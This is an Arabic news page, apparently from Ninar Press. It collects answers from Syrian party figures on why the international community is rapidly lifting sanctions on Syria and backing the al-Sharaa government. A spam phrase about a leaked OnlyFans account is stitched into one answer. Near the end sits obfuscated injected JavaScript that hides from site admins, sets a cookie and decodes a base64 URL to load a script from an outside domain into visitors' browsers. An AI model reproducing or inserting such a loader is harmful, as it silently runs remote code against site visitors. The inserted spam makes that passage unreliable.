نينار برس تسأل؟

0

يغدق النظام الدولي على سوريا بمزايا كثيرة وبسرعة. منها رفع كل العقوبات وإزالة قانون قيصر واعتبار سوريا بقيادة الرئيس أحمد الشرع هي الجهة الوحيدة التي تمثّل كل سوريا. ما دوافع المجتمع الدولي الحقيقية وراء هذا الغدق والاهتمام الكبيرين بسوريا؟ وما الأهداف التي يتوخاها المجتمع الدولي سياسياً وأمنيّاً واقتصادياً؟

يجيب الدكتور صلاح وانلي رئيس حزب التجمع الوطني الديمقراطي السوري

الدول لا تتعامل بالعواطف الدول تتعامل حسب المصالح، في السياسة لا يوجد صديق دائم ولا عدو دائم تتحوّل هذه حسب مصالح الدول.

لا شكٍ أن هذا التطور وسرعة إنجاز التقدم باتجاه الحكومة الانتقالية السورية تعود إلى أسباب أمنية وسياسية وجيو سياسية واقتصادية.

أمنياً مؤكد أنه تعامل أمنيٌ ضد القوى الإسلامية المتطرفة وخاصةً داعش وأخواتها. وبوجود مشاركة سورية كمنطقة موجودة فيها ثغر لداعش يكون هناك نصر لمحاربة المتطرفين.

بالنسبة للوضع الاقتصادي، تنظر هذه الدول إلى إنعاش سوريا وخاصة أن هناك كثيراً من الثروات الباطنية داخل سوريا من فوسفات وبترول وغاز، وهناك توقعات الليثيوم.

الوضع الآخر موضوع إسرائيل، وبلا شك فإن السيّد ترامب رئيس الولايات المتحدة الأمريكية يسعى للحصول على جائزة نوبل للسلام، من خلال دعم السلام في الشرق الأوسط واستطاع إلى حدٍ ما بعدة مناطق تحقيق السلام والآن يسعى إلى تحقيق نوع من السلام في الشرق الأوسط، ونرجع إلى مقولة السيد كيسنجر الذي قال لا حرب بدون مصر ولا سلام بدون سوريا، وهذه قاعدة معروفة. وبل شك حجر الأساس لإقامة سلام في الشرق الأوسط هي سوريا، ولذلك المحاولة لإنهاء خلافات. آمل العودة لأراضينا وللحقوق العربية في منطقة الشرق الأوسط.

هناك أيضاً أسباب سياسية، عودة الاستقرار في منطقة الشرق الأوسط تعني استقرار السلام عالمياً، وآمل من الحكومة الانتقالية ألّا تتنازل عن السيادة وعن المصالح الوطنية، وأعتقد إنهم يقومون بذلك.  

يجيب الأستاذ غياث مارتيني الأمين العام لحزب بناء سوريا الديمقراطي

نرى أن اندفاع المجتمع الدولي نحو رفع العقوبات عن سورية وإعادة الاعتراف بدورها يأتي في إطار إعادة هندسة التوازنات الإقليمية بعد أعوام من الفوضى.

فالعالم يدرك أن استقرار سورية هو مدخل لاستقرار المشرق بأكمله، وأن مرحلة الصدام استُنفِدت أغراضها.

الدوافع الحقيقية سياسية وأمنية بالدرجة الأولى.

تهدف إلى ضبط النفوذ المتقاطع في المنطقة، ومنع انهيار الدولة السورية، وفتح مسارات اقتصادية تضمن توازن المصالح الدولية. Kdot561 marie temara onlyfans leak

إنها ليست منحة مجانية، بل صفقة استقرار مشروط تُعيد سورية إلى الطاولة كشريكٍ لا كملفّ أزمة، وعلى الدولة السورية (شعباً وحكومةً).

سدّ كل الذرائع التي قد تُتيح لأيّ طرفٍ خارجي التدخل في شؤونها أو التشكيك بسيادتها.

يجيب الدكتور عدنان البوش رئيس المكتب السياسي في حزب التجمع الوطني الديمقراطي السوري

التسارع غير المتوقع بدفع العلاقات الأمريكية السورية ومن خلالها المجتمع الدولي يؤشر على رغبة دولية واضحة في وضع نهاية لوضعية الشرق الأوسط المضطرب والمستقطب لتدخلات قوى دولية وإقليمية متشابكة نتيجة الاختراقات الايرانية التي فتت المنطقة وخلقت فيها صراعات مذهبية وقوى ميليشياوية خلفت حالات توتر واقتتال لا يتوقف.

ونظرا لرغبة ترامب ليكون بطل سلام من ناحية ورغبة الدول الاقليمية باستقرار هذه المنطقة الاستراتيجية وتقاطعت المصالح وقلبها سوريا ٠ وباعتبار ان نظام الأسد أصبح عبئا على داعميه وحتى على المستفيدين من تجاوزاته فقد كان لزاما لضمان استقرار المنطقة ان يتم ترسيخ النظام الجديد وفق تفاهمات دولية وإقليمية لدمجه في المشروع الإقليمي لاستقرار المنطقة واستكمال تنفيذ رؤية ترامب لإحلال السلام ضمن خريطة مرسومة تحافظ على وحدة سورية وتحديد توجهاتها.

يجيب الدكتور زكريا ملاحفجي رئيس الحركة الوطنية السورية

الغدق الدولي على سوريا هو استثمار وحسم ملف كان يستنزف المنطقة والعالم

أما دوافع المجتمع الدولي الأساسية هي خلق مركز إقليمي في مواجهة الإرهاب.

وكذلك العالم لم يعد يتحمل التهديدات الامنية والتضخم المالي وتسرب مستمر لأعداد من اللاجئين.

يريدون لسوريا أن تتحول من ساحة تصفية ومواجهة إلى ساحة ميزان بين القوى الكبرى، وإنهاء اقتصاد الفوضى، ومنع عودة التنظيمات وضبط الحدود من المتوسط حتى البادية.

وستكون سوريا عقدة ترانزيت عالمية: غاز، كهرباء، طرق، موانئ.

وكل ذلك لا يمكن أن يعمل بدون دولة واحدة معترف بها دولياً، قادرة على فرض القانون وتنفيذ العقود ومواجهة الإرهاب من خلال سلطة من خلفية إسلامية.

يجيب الكاتب جمال حمّور

يُعتبر السيد الشرع ركيزة محتملة لأن شخصيته وتوقيته السياسي يخدمان أهداف عدة قوى كبرى في آنٍ واحد. أولاً، الغرب يرى فيه قائداً من داخل البيئة السورية السنية يمكنه إعادة التوازن بعد سقوط النظام العلوي السابق، من دون إشعال نزاعات طائفية جديدة. ثانياً، تاريخه في “هيئة تحرير الشام” ثم تحوّله إلى رجل دولة معتدل يُظهر قدرة نادرة على التكيّف والتفاوض، وهو ما يُطمئن واشنطن وتل أبيب بأنه قادر على كبح التطرّف وضمان أمن الحدود. ثالثاً، يمتلك الشرع قبولاً عربياً واسعاً، خصوصاً من السعودية والإمارات ومصر، كونه لا يدور في فلك إيران، ما يجعله حلقة وصل مثالية في مشروع التطبيع الإقليمي. وأخيراً، يتمتع بقدرة خطابية وشعبية داخلية تجعله قادراً على إقناع الشارع السوري بخيارات صعبة، مثل الانفتاح على إسرائيل أو الإصلاح الاقتصادي المؤلم، وهو ما تحتاجه القوى الدولية لإنجاح أي تسوية طويلة الأمد.

يجيب موسى المجبل أمين سر المكتب السياسي حزب التجمع الوطني الديمقراطي السوري

يبدو أن هذا الانفتاح الدولي المتسارع على سوريا لا ينطلق من دوافع إنسانية أو رغبة في إنهاء معاناة الشعب السوري، بقدر ما تحكمه اعتبارات استراتيجية واقتصادية وأمنية متشابكة، تسعى من خلالها القوى الكبرى إلى إعادة تموضعها في المنطقة عبر البوابة السورية، مستفيدة من الموقع الجيوسياسي المهم لسوريا، وثرواتها الكامنة، وتأثيرها المباشر في معادلات الشرق الأوسط. فالمجتمع الدولي لا يمنح اليوم شيئاً مجاناً، بل يتحرك وفق حسابات دقيقة لإعادة توزيع النفوذ وإدارة الصراعات بما يضمن مصالحه الخاصة. وهنا تكمن مسؤولية السوريين في التعامل مع هذه المرحلة الحساسة بوعي وطني عميق، يحفظ السيادة ويحول الانفتاح الدولي إلى فرصة لبناء الدولة واستعادة القرار الوطني المستقل، لا إلى شكل جديد من الارتهان أو الوصاية الأجنبية.

(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();

لن يتم نشر عنوان بريدك الالكتروني